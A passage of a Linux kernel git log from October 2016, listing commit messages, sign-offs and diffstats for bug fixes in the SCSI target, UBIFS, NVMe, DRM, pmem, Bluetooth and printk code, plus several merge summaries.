fs/xfs/libxfs/xfs_bmap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 61f36166c245e563c7a2b624f4c78c5ce0f680d6 Author: Nicholas Bellinger Date: Sun Oct 16 00:27:42 2016 -0700 Revert "target: Fix residual overflow handling in target_complete_cmd_with_length" This reverts commit c1ccbfe0311e2380a6d2dcb0714b36904f5d586f. Reverting this patch, as it incorrectly assumes the additional length for INQUIRY in target_complete_cmd_with_length() is SCSI allocation length, which breaks existing user-space code when SCSI allocation length is smaller than additional length. root@scsi-mq:~# sg_inq --len=4 -vvvv /dev/sdb found bsg_major=253 open /dev/sdb with flags=0x800 inquiry cdb: 12 00 00 00 04 00 duration=0 ms inquiry: pass-through requested 4 bytes (data-in) but got -28 bytes inquiry: pass-through can't get negative bytes, say it got none inquiry: got too few bytes (0) INQUIRY resid (32) should never exceed requested len=4 inquiry: failed requesting 4 byte response: Malformed response to SCSI command [resid=32] AFAICT the original change was not to address a specific host issue, so go ahead and revert to original logic for now. Cc: Douglas Gilbert Cc: Martin K. Petersen Cc: Sumit Rai Cc: stable@vger.kernel.org # 4.8+ Signed-off-by: Nicholas Bellinger drivers/target/target_core_transport.c | 16 +--------------- 1 file changed, 1 insertion(+), 15 deletions(-) commit 926317de33998c112c5510301868ea9aa34097e2 Author: Dinesh Israni Date: Mon Oct 10 20:22:03 2016 -0700 target: Don't override EXTENDED_COPY xcopy_pt_cmd SCSI status code This patch addresses a bug where a local EXTENDED_COPY WRITE or READ backend I/O request would always return SAM_STAT_CHECK_CONDITION, even if underlying xcopy_pt_cmd->se_cmd generated a different SCSI status code. ESX host environments expect to hit SAM_STAT_RESERVATION_CONFLICT for certain scenarios, and SAM_STAT_CHECK_CONDITION results in non-retriable status for these cases. Tested on v4.1.y with ESX v5.5u2+ with local IBLOCK backend copy. Reported-by: Nixon Vincent Tested-by: Nixon Vincent Cc: Nixon Vincent Tested-by: Dinesh Israni Signed-off-by: Dinesh Israni Cc: Dinesh Israni Cc: stable@vger.kernel.org # 3.14+ Signed-off-by: Nicholas Bellinger drivers/target/target_core_xcopy.c | 16 ++++++++++++---- 1 file changed, 12 insertions(+), 4 deletions(-) commit 449a137846c84829a328757cd21fd9ca65c08519 Author: Nicholas Bellinger Date: Sat Oct 8 17:26:44 2016 -0700 target: Make EXTENDED_COPY 0xe4 failure return COPY TARGET DEVICE NOT REACHABLE This patch addresses a bug where EXTENDED_COPY across multiple LUNs results in a CHECK_CONDITION when the source + destination are not located on the same physical node. ESX Host environments expect sense COPY_ABORTED w/ COPY TARGET DEVICE NOT REACHABLE to be returned when this occurs, in order to signal fallback to local copy method. As described in section 6.3.3 of spc4r22: "If it is not possible to complete processing of a segment because the copy manager is unable to establish communications with a copy target device, because the copy target device does not respond to INQUIRY, or because the data returned in response to INQUIRY indicates an unsupported logical unit, then the EXTENDED COPY command shall be terminated with CHECK CONDITION status, with the sense key set to COPY ABORTED, and the additional sense code set to COPY TARGET DEVICE NOT REACHABLE." Tested on v4.1.y with ESX v5.5u2+ with BlockCopy across multiple nodes. Reported-by: Nixon Vincent Tested-by: Nixon Vincent Cc: Nixon Vincent Tested-by: Dinesh Israni Signed-off-by: Dinesh Israni Cc: Dinesh Israni Cc: stable@vger.kernel.org # 3.14+ Signed-off-by: Nicholas Bellinger drivers/target/target_core_transport.c | 7 +++++++ drivers/target/target_core_xcopy.c | 22 ++++++++++++++++------ include/target/target_core_base.h | 1 + 3 files changed, 24 insertions(+), 6 deletions(-) commit 527268df31e57cf2b6d417198717c6d6afdb1e3e Author: Nicholas Bellinger Date: Tue Oct 4 16:37:05 2016 -0700 target: Re-add missing SCF_ACK_KREF assignment in v4.1.y This patch fixes a regression in >= v4.1.y code where the original SCF_ACK_KREF assignment in target_get_sess_cmd() was dropped upstream in commit 054922bb, but the series for addressing TMR ABORT_TASK + LUN_RESET with fabric session reinstatement in commit febe562c20 still depends on this code in transport_cmd_finish_abort(). The regression manifests itself as a se_cmd->cmd_kref +1 leak, where ABORT_TASK + LUN_RESET can hang indefinately for a specific I_T session for drivers using SCF_ACK_KREF, resulting in hung kthreads. This patch has been verified with v4.1.y code. Reported-by: Vaibhav Tandon Tested-by: Vaibhav Tandon Cc: Vaibhav Tandon Cc: stable@vger.kernel.org # 4.1+ Signed-off-by: Nicholas Bellinger drivers/target/target_core_transport.c | 4 +++- 1 file changed, 3 insertions(+), 1 deletion(-) commit 1a40f0a36fb669226f0fd29aaece5ff7b6399e80 Author: Varun Prakash Date: Thu Sep 15 21:20:11 2016 +0530 iscsi-target: fix iscsi cmd leak If iscsi-target receives NOP OUT with ITT and TTT set to 0xffffffff it allocates iscsi_cmd but does not free the cmd, so free iscsi_cmd in this case. Signed-off-by: Varun Prakash Signed-off-by: Nicholas Bellinger drivers/target/iscsi/iscsi_target.c | 4 ++++ 1 file changed, 4 insertions(+) commit 3fc6a642e4355abef986b2dd11672216fb18212e Author: Colin Ian King Date: Fri Sep 2 15:30:34 2016 +0100 iscsi-target: fix spelling mistake "Unsolicitied" -> "Unsolicited" Trivial fix to spelling mistakes in pr_debug message and comments Signed-off-by: Colin Ian King Reviewed-by: Bart Van Assche Signed-off-by: Nicholas Bellinger drivers/target/iscsi/iscsi_target.c | 2 +- drivers/target/iscsi/iscsi_target_login.c | 4 ++-- 2 files changed, 3 insertions(+), 3 deletions(-) commit 3d9b95558f5874ac5d63a057813dc66b480de7e1 Author: Andy Grover Date: Thu Aug 25 08:55:54 2016 -0700 target/user: Fix comments to not refer to data ring We no longer use a ringbuffer for the data area, so this might cause confusion. Just call it the data area. Signed-off-by: Andy Grover Reviewed-by: Christoph Hellwig Reviewed-by: Mike Christie Signed-off-by: Nicholas Bellinger drivers/target/target_core_user.c | 12 +++++------- 1 file changed, 5 insertions(+), 7 deletions(-) commit 554617b2bbe25c3fb3c80c28fe7a465884bb40b1 Author: Andy Grover Date: Thu Aug 25 08:55:53 2016 -0700 target/user: Return an error if cmd data size is too large Userspace should be implementing VPD B0 (Block Limits) to inform the initiator of max data size, but just in case we do get a too-large request, do what the spec says and return INVALID_CDB_FIELD. Make sure to unlock udev->cmdr_lock before returning. Signed-off-by: Andy Grover Reviewed-by: Christoph Hellwig Reviewed-by: Mike Christie Signed-off-by: Nicholas Bellinger drivers/target/target_core_user.c | 9 ++++++--- 1 file changed, 6 insertions(+), 3 deletions(-) commit 02eb924fabc5b699c0d9d354491e6f0767e3c139 Author: Andy Grover Date: Thu Oct 6 10:07:07 2016 -0500 target/user: Use sense_reason_t in tcmu_queue_cmd_ring Instead of using -ERROR-style returns, use sense_reason_t. This lets us remove tcmu_pass_op(), and return more correct sense values. Signed-off-by: Andy Grover Signed-off-by: Bryant G. Ly Reviewed-by: Christoph Hellwig Reviewed-by: Mike Christie Signed-off-by: Nicholas Bellinger drivers/target/target_core_user.c | 29 ++++++++++------------------- 1 file changed, 10 insertions(+), 19 deletions(-) commit 0a70c998d0c571c66d0ba8ffd9f803392a53193d Author: Stefan Agner Date: Tue Oct 4 17:40:29 2016 -0700 drm/fsl-dcu: enable pixel clock when enabling CRTC The pixel clock should not be on if the CRTC is not in use, hence move clock enable/disable calls into CRTC callbacks. Signed-off-by: Stefan Agner Tested-By: Meng Yi drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_crtc.c | 2 ++ drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_drv.c | 21 +-------------------- 2 files changed, 3 insertions(+), 20 deletions(-) commit 9789037695018e25902469ea0e540c07580b940f Author: Stefan Agner Date: Wed Oct 5 14:37:57 2016 -0700 drm/fsl-dcu: do not transfer registers in mode_set_nofb Do not schedule a transfer of mode settings early. Modes should get applied on on CRTC enable where we also enable the pixel clock. Signed-off-by: Stefan Agner Tested-By: Meng Yi drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_crtc.c | 2 -- 1 file changed, 2 deletions(-) commit b6ead864ea893ef55828be0ec0d6c10f7c1c4e30 Author: Stefan Agner Date: Tue Oct 4 16:56:38 2016 -0700 drm/fsl-dcu: do not transfer registers on plane init There is no need to explicitly initiate a register transfer and turn off the DCU after initializing the plane registers. In fact, this is harmful and leads to unnecessary flickers if the DCU has been left on by the bootloader. Signed-off-by: Stefan Agner Tested-By: Meng Yi drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_plane.c | 5 ----- 1 file changed, 5 deletions(-) commit 8dedefbc38172f3fcb43a26b6d0e394dcb1ee562 Author: Stefan Agner Date: Tue Oct 4 16:40:14 2016 -0700 drm/fsl-dcu: enable TCON bypass mode by default Do not use encoder disable/enable callbacks to control bypass mode as this seems to mess with the signals not liked by displays. This also makes more sense since the encoder is already defined to be parallel RGB/LVDS at creation time. Signed-off-by: Stefan Agner Tested-By: Meng Yi drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_drv.c | 2 ++ drivers/gpu/drm/fsl-dcu/fsl_dcu_drm_rgb.c | 39 ++++--------------------------- 2 files changed, 7 insertions(+), 34 deletions(-) commit c83ed4c9dbb358b9e7707486e167e940d48bfeed Author: Richard Weinberger Date: Wed Oct 19 12:43:07 2016 +0200 ubifs: Abort readdir upon error If UBIFS is facing an error while walking a directory, it reports this error and ubifs_readdir() returns the error code. But the VFS readdir logic does not make the getdents system call fail in all cases. When the readdir cursor indicates that more entries are present, the system call will just return and the libc wrapper will try again since it also knows that more entries are present. This causes the libc wrapper to busy loop for ever when a directory is corrupted on UBIFS. A common approach do deal with corrupted directory entries is skipping them by setting the cursor to the next entry. On UBIFS this approach is not possible since we cannot compute the next directory entry cursor position without reading the current entry. So all we can do is setting the cursor to the "no more entries" position and make getdents exit. Cc: stable@vger.kernel.org Signed-off-by: Richard Weinberger fs/ubifs/dir.c | 8 +++----- 1 file changed, 3 insertions(+), 5 deletions(-) commit 884a3b647809cb31cf6bd948f814e93753b38502 Author: Geert Uytterhoeven Date: Thu Oct 13 16:05:36 2016 +0200 UBI: Fix crash in try_recover_peb() drivers/mtd/ubi/eba.c: In function ‘try_recover_peb’: drivers/mtd/ubi/eba.c:744: warning: ‘vid_hdr’ is used uninitialized in this function The pointer vid_hdr is indeed not initialized, leading to a crash when it is dereferenced. Fix this by obtaining the pointer from the VID buffer, like is done everywhere else. Fixes: 3291b52f9ff0acc8 ("UBI: introduce the VID buffer concept") Signed-off-by: Geert Uytterhoeven Reviewed-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/eba.c | 1 + 1 file changed, 1 insertion(+) commit a15cf34fed779d3d49d76e3a7e63bd0132b6a458 Author: Colin Ian King Date: Sat Oct 15 17:00:11 2016 +0100 ubi: fix swapped arguments to call to ubi_alloc_aeb Static analysis by CoverityScan detected the ec and pnum arguments are in the wrong order on a call to ubi_alloc_aeb. Swap the order to fix this. Fixes: 91f4285fe389a27 ("UBI: provide helpers to allocate and free aeb elements") Signed-off-by: Colin Ian King Reviewed-by: Boris Brezillon Signed-off-by: Richard Weinberger drivers/mtd/ubi/fastmap.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 843741c5778398ea67055067f4cc65ae6c80ca0e Author: Richard Weinberger Date: Tue Sep 20 10:08:30 2016 +0200 ubifs: Fix xattr_names length in exit paths When the operation fails we also have to undo the changes we made to ->xattr_names. Otherwise listxattr() will report wrong lengths. Cc: stable@vger.kernel.org Signed-off-by: Richard Weinberger fs/ubifs/xattr.c | 2 ++ 1 file changed, 2 insertions(+) commit 390975ac3978162ec9c6beca66f0fe83b0be33bb Author: Richard Weinberger Date: Tue Oct 18 21:21:43 2016 +0200 ubifs: Rename ubifs_rename2 Since ->rename2 is gone, rename ubifs_rename2() to ubifs_rename(). Suggested-by: Linus Torvalds Signed-off-by: Richard Weinberger fs/ubifs/dir.c | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) commit 1dec78585328db00e33fb18dc1a6deed0e2095a5 Author: Vineet Gupta Date: Wed Oct 19 14:38:50 2016 -0700 ARC: fix build warning in elf.h The cast valid since TASK_SIZE * 2 will never actually cause overflow. | CC fs/binfmt_elf.o | In file included from ../include/linux/elf.h:4:0, | from ../include/linux/module.h:15, | from ../fs/binfmt_elf.c:12: | ../fs/binfmt_elf.c: In function load_elf_binar: | ../arch/arc/include/asm/elf.h:57:29: warning: integer overflow in expression [-Woverflow] | #define ELF_ET_DYN_BASE (2 * TASK_SIZE / 3) | ^ | ../fs/binfmt_elf.c:921:16: note: in expansion of macro ELF_ET_DYN_BASE | load_bias = ELF_ET_DYN_BASE - vaddr; Signed-off-by: Vineet Gupta arch/arc/include/asm/elf.h | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 1c80e9603fe8341ed5bea696747d07083d5e0476 Author: Azael Avalos Date: Thu Aug 25 12:50:55 2016 -0600 toshiba-wmi: Fix loading the driver on non Toshiba laptops Bug 150611 uncovered that the WMI ID used by the toshiba-wmi driver is not Toshiba specific, and as such, the driver was being loaded on non Toshiba laptops too. This patch adds a DMI matching list checking for TOSHIBA as the vendor, refusing to load if it is not. Also the WMI GUID was renamed, dropping the TOSHIBA_ prefix, to better reflect that such GUID is not a Toshiba specific one. Cc: # 4.4+ Signed-off-by: Azael Avalos Signed-off-by: Darren Hart drivers/platform/x86/toshiba-wmi.c | 26 +++++++++++++++++++------- 1 file changed, 19 insertions(+), 7 deletions(-) commit 5c6201e60a57c6b240d446c8a2d83063283b2743 Author: Masahiro Yamada Date: Wed Oct 19 17:22:07 2016 +0900 clk: uniphier: rename MIO clock to SD clock for Pro5, PXs2, LD20 SoCs I made a mistake as for naming for this block. The MIO block is not implemented for these 3 SoCs in the first place. The current naming will be a trouble if an SoC with both MIO and SD-ctrl blocks appear in the future. This driver has just been merged in the previous merge window. Rename it before the release. Signed-off-by: Masahiro Yamada Signed-off-by: Stephen Boyd .../devicetree/bindings/clock/uniphier-clock.txt | 16 ++++++++-------- drivers/clk/uniphier/clk-uniphier-core.c | 14 +++++++------- drivers/clk/uniphier/clk-uniphier-mio.c | 2 +- drivers/clk/uniphier/clk-uniphier.h | 2 +- 4 files changed, 17 insertions(+), 17 deletions(-) commit 7d36b9c102318aa86aceb074359305da88ce9ef9 Author: Masahiro Yamada Date: Wed Oct 19 20:49:39 2016 +0900 clk: uniphier: fix memory overrun bug The first loop of this "for" statement writes memory beyond the allocated clk_hw_onecell_data. It should be: for (clk_num--; clk_num >= 0; clk_num--) ... Or more simply: while (--clk_num >= 0) ... Fixes: 734d82f4a678 ("clk: uniphier: add core support code for UniPhier clock driver") Signed-off-by: Masahiro Yamada Signed-off-by: Stephen Boyd drivers/clk/uniphier/clk-uniphier-core.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 446647d4b9b90335f29a06ec21a05b508e269866 Author: Mika Westerberg Date: Wed Oct 19 13:27:40 2016 +0300 ideapad-laptop: Add another DMI entry for Yoga 900 This particular laptop has its motherboard replaced and after that, even with the latest BIOS, some DMI identification strings have become "INVALID". This includes DMI_PRODUCT_VERSION which results Wifi being blocked. It seems that DMI_BOARD_NAME is still valid so use that as an alternative for Lenovo Yoga 900. Signed-off-by: Mika Westerberg Signed-off-by: Darren Hart drivers/platform/x86/ideapad-laptop.c | 7 +++++++ 1 file changed, 7 insertions(+) commit c30a70d3ac60f3216e8d60d7746caad084a7eb46 Author: Giuseppe CAVALLARO Date: Wed Oct 19 09:06:41 2016 +0200 stmmac: fix and review the ptp registration. The commit commit 7086605a6ab5 ("stmmac: fix error check when init ptp") breaks the procedure added by the commit efee95f42b5d ("ptp_clock: future-proofing drivers against PTP subsystem becoming optional") So this patch tries to re-import the logic added by the latest commit above: it makes sense to have the stmmac_ptp_register as void function and, inside the main, the stmmac_init_ptp can fails in case of the capability cannot be supported by the HW. Signed-off-by: Giuseppe Cavallaro Cc: Alexandre TORGUE Cc: Rayagond Kokatanur Cc: Dan Carpenter Cc: Nicolas Pitre Acked-by: Nicolas Pitre Signed-off-by: David S. Miller drivers/net/ethernet/stmicro/stmmac/stmmac.h | 2 +- drivers/net/ethernet/stmicro/stmmac/stmmac_main.c | 6 ++++-- drivers/net/ethernet/stmicro/stmmac/stmmac_ptp.c | 15 ++++----------- 3 files changed, 9 insertions(+), 14 deletions(-) commit da25311c7ca8b0254a686fc0d597075b9aa3b683 Author: Patrick Scheuring Date: Wed Oct 19 12:04:02 2016 -0700 Input: i8042 - add XMG C504 to keyboard reset table The Schenker XMG C504 is a rebranded Gigabyte P35 v2 laptop. Therefore it also needs a keyboard reset to detect the Elantech touchpad. Otherwise the touchpad appears to be dead. With this patch the touchpad is detected: $ dmesg | grep -E "(i8042|Elantech|elantech)" [ 2.675399] i8042: PNP: PS/2 Controller [PNP0303:PS2K,PNP0f13:PS2M] at 0x60,0x64 irq 1,12 [ 2.680372] i8042: Attempting to reset device connected to KBD port [ 2.789037] serio: i8042 KBD port at 0x60,0x64 irq 1 [ 2.791586] serio: i8042 AUX port at 0x60,0x64 irq 12 [ 2.813840] input: AT Translated Set 2 keyboard as /devices/platform/i8042/serio0/input/input4 [ 3.811431] psmouse serio1: elantech: assuming hardware version 4 (with firmware version 0x361f0e) [ 3.825424] psmouse serio1: elantech: Synaptics capabilities query result 0x00, 0x15, 0x0f. [ 3.839424] psmouse serio1: elantech: Elan sample query result 03, 58, 74 [ 3.911349] input: ETPS/2 Elantech Touchpad as /devices/platform/i8042/serio1/input/input6 Signed-off-by: Patrick Scheuring Cc: stable@vger.kernel.org Signed-off-by: Dmitry Torokhov drivers/input/serio/i8042-x86ia64io.h | 7 +++++++ 1 file changed, 7 insertions(+) commit c3f8f7fa8b19e274e7eb99dee428ad3a9b2ad8eb Merge: 147fdd8 ea89369 Author: Linus Torvalds Date: Wed Oct 19 11:45:06 2016 -0700 Merge tag 'platform-drivers-x86-v4.9-2' of git://git.infradead.org/users/dvhart/linux-platform-drivers-x86 Pull x86 platform driver fixes from Darren Hart: "Fix a Kconfig issue leading potential link failure, and add a DMI match for an existing quirk. asus-wmi: - add SERIO_I8042 dependency ideapad-laptop: - Add Lenovo Yoga 910-13IKB to no_hw_rfkill dmi list" * tag 'platform-drivers-x86-v4.9-2' of git://git.infradead.org/users/dvhart/linux-platform-drivers-x86: platform/x86: asus-wmi: add SERIO_I8042 dependency platform/x86: ideapad-laptop: Add Lenovo Yoga 910-13IKB to no_hw_rfkill dmi list commit 83aa3e0f791d458a28f91d7a50f92926f971ef7c Author: Arnd Bergmann Date: Tue Oct 18 17:21:30 2016 +0200 nfs4: fix missing-braces warning A bugfix introduced a harmless warning for update_open_stateid: fs/nfs/nfs4proc.c:1548:2: error: missing braces around initializer [-Werror=missing-braces] Removing the zero in the initializer will do the right thing here and initialize the entire structure to zero. Fixes: 1393d9612ba0 ("NFSv4: Fix a race when updating an open_stateid") Signed-off-by: Arnd Bergmann Signed-off-by: Anna Schumaker fs/nfs/nfs4proc.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 147fdd8cf1b106beb6254f7d167b50f9e94026b5 Merge: 893e2c5 99f453f Author: Linus Torvalds Date: Wed Oct 19 11:21:06 2016 -0700 Merge tag 'sh-for-4.9' of git://git.libc.org/linux-sh Pull arch/sh updates from Rich Felker: "Minor changes to improve J2 support and match Kconfig expectations of other subsystems" * tag 'sh-for-4.9' of git://git.libc.org/linux-sh: sh: add earlycon support to j2_defconfig sh: add Kconfig option for J-Core SoC core drivers sh: support CPU_J2 when compiler lacks -mj2 commit e9c9346e20c1b18a3ec30defd5ff7134bcc0da6d Author: Christoph Hellwig Date: Fri Sep 30 13:51:10 2016 +0200 nvmet: use symbolic constants for CNS values Signed-off-by: Christoph Hellwig Reviewed-by: Gabriel Krisman Bertazi Reviewed-by: Jay Freyensee Signed-off-by: Jens Axboe drivers/nvme/target/admin-cmd.c | 6 +++--- drivers/nvme/target/discovery.c | 2 +- 2 files changed, 4 insertions(+), 4 deletions(-) commit fa60682677c594d81e9b68b8a4046cde75a7374b Author: Christoph Hellwig Date: Fri Sep 30 13:51:09 2016 +0200 nvme: use symbolic constants for CNS values Signed-off-by: Christoph Hellwig Reviewed-by: Gabriel Krisman Bertazi Reviewed-by: Keith Busch Signed-off-by: Jens Axboe drivers/nvme/host/core.c | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) commit 329dd7681c5af84e8ea9f4494c1a304389cdfc6e Author: Christoph Hellwig Date: Fri Sep 30 13:51:08 2016 +0200 nvme.h: add an enum for cns values Ported over from nvme-cli. Signed-off-by: Christoph Hellwig Reviewed-by: Gabriel Krisman Bertazi Reviewed-by: Keith Busch Signed-off-by: Jens Axboe include/linux/nvme.h | 10 ++++++++++ 1 file changed, 10 insertions(+) commit 8d63687afda019a6e037bf9c4ceb3e514c26a35d Author: Christoph Hellwig Date: Fri Sep 30 13:51:07 2016 +0200 nvme.h: don't use uuid_be This makes life easier for nvme-cli and we don't really need the uuid type anyway to start with. Signed-off-by: Christoph Hellwig Reviewed-by: Gabriel Krisman Bertazi Reviewed-by: Jay Freyensee Signed-off-by: Jens Axboe include/linux/nvme.h | 3 +-- 1 file changed, 1 insertion(+), 2 deletions(-) commit a446c0840e244f34c22cc13b3a62d50aa51fb4c6 Author: Christoph Hellwig Date: Fri Sep 30 13:51:06 2016 +0200 nvme.h: resync with nvme-cli Import a few updates to nvme.h from nvme-cli. This mostly includes a few new fields and error codes, but also a few renames that so far are only used in user space. Also one field is moved from an array of two le64 values to one of 16 u8 values so that we can more easily access it. Signed-off-by: Christoph Hellwig Reviewed-by: Keith Busch Reviewed-by: Gabriel Krisman Bertazi Signed-off-by: Jens Axboe drivers/nvme/target/admin-cmd.c | 2 +- drivers/nvme/target/discovery.c | 2 +- include/linux/nvme.h | 33 +++++++++++++++++++++++++++------ 3 files changed, 29 insertions(+), 8 deletions(-) commit 8ef2074d28373014d05e92b5f13364ef51075b6e Author: Gabriel Krisman Bertazi Date: Wed Oct 19 09:51:05 2016 -0600 nvme: Add tertiary number to NVME_VS NVMe 1.2.1 specification adds a tertiary element to the version number. This updates the macro and its callers to include the final number and fixup a single place in nvmet where the version was generated manually. Signed-off-by: Gabriel Krisman Bertazi Reviewed-by: Sagi Grimberg Reviewed-by: Christoph Hellwig Signed-off-by: Jens Axboe drivers/nvme/host/core.c | 8 ++++---- drivers/nvme/host/pci.c | 4 ++-- drivers/nvme/host/scsi.c | 4 ++-- drivers/nvme/target/core.c | 2 +- include/linux/nvme.h | 3 ++- 5 files changed, 11 insertions(+), 10 deletions(-) commit 3115bb02b5c23d960df5f1bf551ec394a9bb10ec Author: Toshi Kani Date: Thu Oct 13 09:54:21 2016 -0600 pmem: report error on clear poison failure ACPI Clear Uncorrectable Error DSM function may fail or may be unsupported on a platform. pmem_clear_poison() returns without clearing badblocks in such cases. This failure is detected at the next read (-EIO). This behavior can lead to an issue when user keeps writing but does not read immediately. For instance, flight recorder file may be only read when it is necessary for troubleshooting. Change pmem_do_bvec() and pmem_clear_poison() to return -EIO so that filesystem can log an error message on a write error. Cc: Vishal Verma Signed-off-by: Toshi Kani Signed-off-by: Dan Williams drivers/nvdimm/pmem.c | 8 ++++++-- 1 file changed, 6 insertions(+), 2 deletions(-) commit 75d29713b792da4782cadfaa87e802183440694e Author: Dan Carpenter Date: Wed Oct 12 09:34:29 2016 +0300 libnvdimm, namespace: potential NULL deref on allocation error If the kcalloc() fails then "devs" can be NULL and we dereference it checking "devs[i]". Fixes: 1b40e09a1232 ('libnvdimm: blk labels and namespace instantiation') Signed-off-by: Dan Carpenter Signed-off-by: Dan Williams drivers/nvdimm/namespace_devs.c | 14 ++++++++------ 1 file changed, 8 insertions(+), 6 deletions(-) commit 17a51f12cfbd2814fd35966a069b242569c53e27 Author: Christoph Hellwig Date: Tue Oct 18 09:00:52 2016 +0200 ahci: only try to use multi-MSI mode if there is more than 1 port We should only try to allocate multiple MSI or MSI-X vectors if the device actually has multiple ports. Otherwise pci_alloc_irq_vectors will return a single vector due to n_ports = 1, in which case we shouldn't set the AHCI_HFLAG_MULTI_MSI flag. Signed-off-by: Christoph Hellwig Fixes: 0b9e2988 ("ahci: use pci_alloc_irq_vectors") Reported-by: Emmanuel Benisty Tested-by: Emmanuel Benisty Signed-off-by: Tejun Heo drivers/ata/ahci.c | 31 +++++++++++++++++-------------- 1 file changed, 17 insertions(+), 14 deletions(-) commit 893e2c5c9fedeccf89653b0ad17df69e88dbd707 Merge: 8a1e377 b5a9b34 Author: Linus Torvalds Date: Wed Oct 19 10:03:55 2016 -0700 Merge branch 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip Pull scheduler fix from Ingo Molnar: "This fixes a group scheduling related performance/interactivity regression introduced in v4.8, which affects certain hardware environments where cpu_possible_mask != cpu_present_mask" * 'sched-urgent-for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/tip/tip: sched/fair: Fix incorrect task group ->load_avg commit 3da43104d3187184d7417569cb3360511229f761 Author: Noam Camus Date: Wed Oct 19 14:25:03 2016 +0300 ARC: Adjust cpuinfo for non-continuous cpu ids num_possible_cpus() returns how many CPUs may be present on system. However we want the highest possible CPU number. This may be differ in a sparsed possible CPUs map. Such map achived by OF for plat-eznps. For example if we have: possible cpus mask 0,3 Then: num_possible_cpus() is equal 2 while nr_cpu_ids is equal 4. Only for value 4 c_start() will provide correct cpuinfo at procfs. Signed-off-by: Noam Camus Signed-off-by: Vineet Gupta arch/arc/kernel/setup.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit 8a1e377e55f2dca5c689926313beeaa8ac2adb22 Merge: b6ffb11 4973ca9 Author: Linus Torvalds Date: Wed Oct 19 09:56:57 2016 -0700 Merge branch 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/hid Pull HID fixes from Jiri Kosina: - hid-dr regression fix for certain dragonrise gamepads (device ID 0079:0006), from Ioan-Adrian Ratiu - dma-on-stack fix for hid-led driver, from Heiner Kallweit - quirk for Akai MIDImix device * 'for-linus' of git://git.kernel.org/pub/scm/linux/kernel/git/jikos/hid: HID: add quirk for Akai MIDImix. Revert "HID: dragonrise: fix HID Descriptor for 0x0006 PID" HID: hid-dr: add input mapping for axis selection HID: hid-led: fix issue with transfer buffer not being dma capable commit f61851f64b171a684f5a1fa78325756dbbaadadc Author: Michał Narajowski Date: Wed Oct 19 10:20:27 2016 +0200 Bluetooth: Fix append max 11 bytes of name to scan rsp data Append maximum of 10 + 1 bytes of name to scan response data. Complete name is appended only if exists and is <= 10 characters. Else append short name if exists or shorten complete name if not. This makes sure name is consistent across multiple advertising instances. Signed-off-by: Michał Narajowski Signed-off-by: Marcel Holtmann net/bluetooth/hci_request.c | 49 +++++++++++++++++++++------------------------ net/bluetooth/hci_request.h | 2 ++ net/bluetooth/mgmt.c | 26 +++++++++++++++--------- 3 files changed, 42 insertions(+), 35 deletions(-) commit 1ecc281ec2f52d715dfc8cb67b6820ea813b9e52 Author: Florian Westphal Date: Mon Oct 17 21:50:23 2016 +0200 netfilter: x_tables: suppress kmemcheck warning Markus Trippelsdorf reports: WARNING: kmemcheck: Caught 64-bit read from uninitialized memory (ffff88001e605480) 4055601e0088ffff000000000000000090686d81ffffffff0000000000000000 u u u u u u u u u u u u u u u u i i i i i i i i u u u u u u u u ^ |RIP: 0010:[] [] nf_register_net_hook+0x51/0x160 [..] [] nf_register_net_hook+0x51/0x160 [] nf_register_net_hooks+0x3f/0xa0 [] ipt_register_table+0xe5/0x110 [..] This warning is harmless; we copy 'uninitialized' data from the hook ops but it will not be used. Long term the structures keeping run-time data should be disentangled from those only containing config-time data (such as where in the list to insert a hook), but thats -next material. Reported-by: Markus Trippelsdorf Suggested-by: Al Viro Signed-off-by: Florian Westphal Acked-by: Aaron Conole Signed-off-by: Pablo Neira Ayuso net/netfilter/x_tables.c | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) commit b6ffb11e4e5b6d1ae61c26c90255877fa4749eca Merge: 8835ca5 c538b94 Author: Linus Torvalds Date: Wed Oct 19 09:17:29 2016 -0700 Merge tag 'pinctrl-v4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl Pull first round of pin control fixes from Linus Walleij: - a bunch of barnsjukdomar/kinderkrankheiten/maladie infantile in the Aspeed driver. (Why doesn't English have a word for this?) [ Maybe "teething problems" is the closest English idiom? - Linus T ] - fix a lockdep bug on the Intel BayTrail. - fix a few special laptop issues on the Intel pin controller solving suspend issues. * tag 'pinctrl-v4.9-2' of git://git.kernel.org/pub/scm/linux/kernel/git/linusw/linux-pinctrl: pinctrl: intel: Only restore pins that are used by the driver pinctrl: baytrail: Fix lockdep pinctrl: aspeed-g5: Fix pin association of SPI1 function pinctrl: aspeed-g5: Fix GPIOE1 typo pinctrl: aspeed-g5: Fix names of GPID2 pins pinctrl: aspeed: "Not enabled" is a significant mux state commit 8835ca59dac2bc1e0136791abf3ccd51588803ce Author: Linus Torvalds Date: Wed Oct 19 09:11:24 2016 -0700 printk: suppress empty continuation lines We have a fairly common pattern where you print several things as continuations on one single line in a loop, and then at the end you do printk(KERN_CONT "\n"); to flush the buffered output. But if the output was flushed by something else (concurrent printk activity, or just system logging), we don't want that final flushing to just print an empty line. So just suppress empty continuation lines when they couldn't be merged into the line they are a continuation of. Signed-off-by: Linus Torvalds kernel/printk/printk.c | 4 ++++ 1 file changed, 4 insertions(+) commit 63ae602cea637ee4a6490d940c0da5d78bd0bbe0 Merge: 1a1891d f307ab6 Author: Linus Torvalds Date: Wed Oct 19 08:39:47 2016 -0700 Merge branch 'gup_flag-cleanups' Merge the gup_flags cleanups from Lorenzo Stoakes: "This patch series adjusts functions in the get_user_pages* family such that desired FOLL_* flags are passed as an argument rather than implied by flags. The purpose of this change is to make the use of FOLL_FORCE explicit so it is easier to grep for and clearer to callers 